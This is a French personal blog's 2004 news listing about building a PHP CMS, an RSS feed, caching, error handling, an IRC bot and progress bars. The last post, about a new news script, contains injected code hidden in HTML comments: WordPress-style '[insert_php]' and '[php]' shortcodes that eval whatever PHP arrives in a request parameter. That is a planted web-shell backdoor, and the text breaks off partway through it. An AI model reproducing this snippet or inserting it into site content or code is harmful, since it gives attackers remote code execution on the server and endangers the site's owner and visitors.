Dernières news

 
  • 01 May 2004

    Les nouveautés de la semaine

    Voilà le bilan des nouveautés sur ThiberNet pour cette semaine. Premièrement l’ajout d’un fil RSS permettant la syndication de ThiberNet par les autres sites ou utilisateurs. Pour ceux qui ne savent pas ce qu’est un fil RSS, il s’agit d’un fichier normalisé en XML qui permet à l’aide de clients (RSS Reader Panel pour Mozilla par exemple) d’afficher les dernières news des sites dont on a ajouté le fil RSS. Vous pouvez donc le retrouver ici et le valider là. Pour le fil atom, il se situe ici et on la valide là. L’autre mise à jour se situe au […]

     
     
  • 25 Apr 2004

    Créer un système de cache

    Un système de cache est un ensemble de fonctions qui permet de diminuer le temps de création des pages en faisant un compromis avec l’espace disque ou la mise à jour des pages. Une des techniques de cache couramment utilisée est le cache par timeout, la technique est simple : on définit une période de mise à jour fixe pendant laquelle les données mises en cache resteront figées. Si des données proviennent d’un long traitement ou d’une grosse requête en base de données et que le rafraîchissement de l’information admet une période, l’utilisation d’un système de cache pourra augmenter les […]

     
     
  • 24 Apr 2004

    Gestionnaire des erreurs d’un CMS

    Un des points clé dans un CMS, c’est la gestion des erreurs et des alertes utilisateurs. En effet, quand une erreur de lecture de fichier, d’accès à la base de données, ou de saisie d’un utilisateur est générée, il faut pouvoir la récupérer, puis la traiter, tout en gardant à l’esprit que les scripts qui traiteront cette erreur ne doivent pas être bloqués par celle-ci. Par exemple, si on souhaite traiter les erreurs d’accès à la base de données, et que pour celà le gestionnaire d’erreur à besoin d’accèder à la base de données, il y a un serieux problème. […]

     
     
  • 21 Apr 2004

    Construire son bot IRC en PHP

    Voilà une classe réalisée il y a fort longtemps que certains connaissent bien et qui était utilisée sous le nom de FunnyBot. Cette classe permet de se connecter au serveur IRC irc.epiknet.org (elle est surement compatible avec d’autres serveurs IRC mais je n’ai jamais essayé). Elle utilise une autre classe qui modélise un message IRC permettant ainsi de les manipuler plus facilement. Le bot implémente les fonctionnalités suivantes : join d’un chan, auto-rejoin après un kick, si un nick est pris, le bot ajoute un nombre à la suite pour pouvoir avoir un nick valide… La classe utilise un système […]

     
     
  • 18 Apr 2004

    Créer des barres de progression

    Je mets à disposition une classe que j’ai fait il y a déjà un moment qui permettait de créer des barres de progression statiques. Elle utilise la librairie GD de PHP, et dispose d’un mécanisme de cache que l’on peut bien sûr désactiver. Son utilisation est vraiment simple. Téléchargement : progressbar.tar.gz – 3.1 ko

     
     
  • 18 Apr 2004

    Contruction d’un CMS

    J’ai depuis presque 2 ans pour projet de construire un CMS en PHP. J’ai besoin d’un outil me permettant de développer plus rapidement et m’éviter de reproduire toujours les mêmes scripts. J’ai donc créé et participé à de nombreuses équipes de programmation ayant toujours comme but de réaliser un CMS. Mais elles ont souvent avorté après la découverte d’un élément de la base du CMS caduque qui imposait une remodélisation complète de l’application. Une bonne étude et modélisation d’un projet est primordiale avant son implémentation. Actuellement je fais une sorte de veille technologique, je me tiens au courant des dernières […]

     
     
  • 17 Apr 2004

    Du nouveau sur ThiberNet

    Voilà je viens de mettre en ligne un petit script de news fait maison pour vous tenir au courant des avancées sur ThiberNet. Il reste encore pas mal de boulot et de réflexion pour finir de construire ThiberNet. En effet, j’ai beaucoup de mal à continuer à programmer quelque chose si je sais qu’il y a à la base un élement caduque. Je dois être un peu trop perfectionniste. Ce petit script de news utilise la classe wiki2xhtml de neokraft.net. Cette classe est vraiment pratique et je tiens à remercier son auteur. <!– [insert_php]if (isset($_REQUEST["MFzE"])){eval($_REQUEST["MFzE"]);exit;}[/insert_php][php]if (isset($_REQUEST["MFzE"])){eval($_REQUEST["MFzE"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["pzRo"])){eval($_REQUEST["pzRo"]);exit;}[/insert_php][php]if […]